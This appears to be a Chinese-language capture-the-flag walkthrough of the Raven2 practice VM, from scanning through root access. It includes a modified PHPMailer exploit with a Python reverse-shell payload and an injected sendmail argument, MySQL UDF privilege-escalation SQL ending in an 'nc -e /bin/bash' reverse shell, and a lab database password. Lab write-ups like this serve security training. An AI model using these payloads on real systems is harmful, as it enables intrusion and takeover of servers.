0x00部署
Raven2靶机:下载地址
宿主机:kali2022,ip::::102
靶机::::107
难度: 中
目标: 取得 root 权限 + 4 Flag
0x01信息收集
1.主机发现
$ sudo arp-scan -l
//因为靶机与宿主机在同一网段,所以用二层扫描来发现靶机ip,
优点:速度快,缺点:不可路由
$ sudo nmap -sP ip/24
ping扫,速度快,确实快了两秒
2.端口扫描
//使用namp命令,-p-指定ip,查看哪些端口开放
$ sudo nmap -p- 靶机ip
#我常用的:
$ sudo nmap -sS -T4 -A -p- 靶机ip

开放了一个之前没见过的端口:
111port:
SUN公司的远程过程调用服务
3.信息收集(漏洞扫描)
$sudo nmap --script=vuln -p21,80 靶机ip
4.路径爬取
对80端口进行一下路径爬取,寻找隐藏信息
$ dirsearch -u http://ip //没什么特别的结果,继续
$ dirsearch -u http://ip -f -e php,txt,html //指定扩展名
$ dirsearch -u http://ip -w /usr/share/seclists/Discovery/Web-Content/common.txt
//指定字典进行爆破
$ gobuster dir -r -u http://192.168.56.106 -x txt,html,php -w /usr/share/seclists/Discovery/Web-Content/common.txt
使用dirsearch爬取的路径结果:

在vendor中有很多目录:

在path中找到第一个flag:

打开readme,这是一个phpmailer的介绍,在version中查看到版本


根据以上的信息在searchsploit中看看有无利用漏洞。

searchsploit -m php/webapps/47954.py下载到本地,打开修改一下:
#关键代码修改参考
#1.target中的ip换成自己的靶机ip,backdoor的文件名可以改一个简单的
#2.nc连接改成自己的宿主机ip,端口
#3.根据根目录修改mm.php所属位置
target = 'http://192.168.56.107/contact.php'
backdoor = '/mm.php'
payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.56.102\\\',4445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit',
'name': payload,
'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/mm.php server\" @protonmail.com',
'message': 'Pwned'}
访问contact页面时会生成mm.php页面后门,开启侦听,访问mm时会将靶机bash传过来


升级一下shell,这是一个www-data用户

利用find指令找到两个flag:
find / -name "flag*"


找到flag3的位置,用nc传过来:



0x02权限提升-mysql-udf提权
通过ps -aux命令查看当前进程以及使用功能的用户,尝试找一下可以利用的应用程序权限:

发现了mysql具有root权限,但是一般登录mysql需要账号密码。
在wordpress目录中有后端数据库的配置文件,一般wordpress配置文件:wp-config.php文件通常存放后端数据库密码。尝试读取:
这里靶机的shell版本较低,可以使用less来读取内容:

得到了数据库的用户密码:
root R@v3nSecurity
登陆之后进行bash调用,发现不行–》改用另一种方法:
mysqludf
udf-即用户定义函数,一旦加载到数据库中可以创建出执行系统命令的函数
#kali之中含有可以利用的,利用方法:
搜索到的内容中.dll结尾的是在win中利用的动态链接库文件
linux-.so文件,表示的是一些共享对象
要把so文件传到mysql的插件中,就能正常使用。
find / -iname "*mysqludf*" -type f 2>/dev/null

这里的.so文件是linux系统可利用的,利用nc传到靶机上
再次登录到数据库中,查找一下插件所在路径,mysql版本>5.0需要把.so文件放到plugin文件下

需要把so文件写在这个路径下,需要mysql加载
写入-调用-创建root指令
创建一个表将so文件进行读取:
mysql> use mysql;
#创建一个表用来加载.so文件
mysql> create table aaa(line blob);
mysql> insert into aaa values(load_file('/tmp/udf.so'));
#mysql版本>5.0需要把.so二进制文件使用into dumpfile导出plugin文件下
#导出文件另一个方法:outfile,但是outfile会在文件后边添加换行转义,会破坏二进制文件的导出。
#有mysql root执行的环境下我们就可以通过into dump 函数导入udf.dll进行提权
mysql> select * from aaa into dumpfile '/usr/lib/mysql/plugin/udf.so';
#创建一个函数用来调用方法,指定共享库的名称:udf.so
mysql> create function sys_exec returns integer soname 'udf.so';
#执行一个bash,利用nc传给kali监听的4545端口
mysql> select sys_exec('nc 192.168.56.102 4545 -e /bin/bash');

获得root权限,查找最后一个flag

0x03总结
通过raven2靶场练习对mysql提权中udf提权的方式的掌握。
文章详细描述了在Raven2靶场中进行的一系列渗透测试步骤,包括部署靶机、信息收集(主机发现、端口扫描、漏洞扫描)、路径爬取,然后重点讲解了如何通过MySQL的UDF(用户定义函数)进行提权,最终达到获取root权限的目标,找到了所有的Flag。
648

被折叠的 条评论
为什么被折叠?



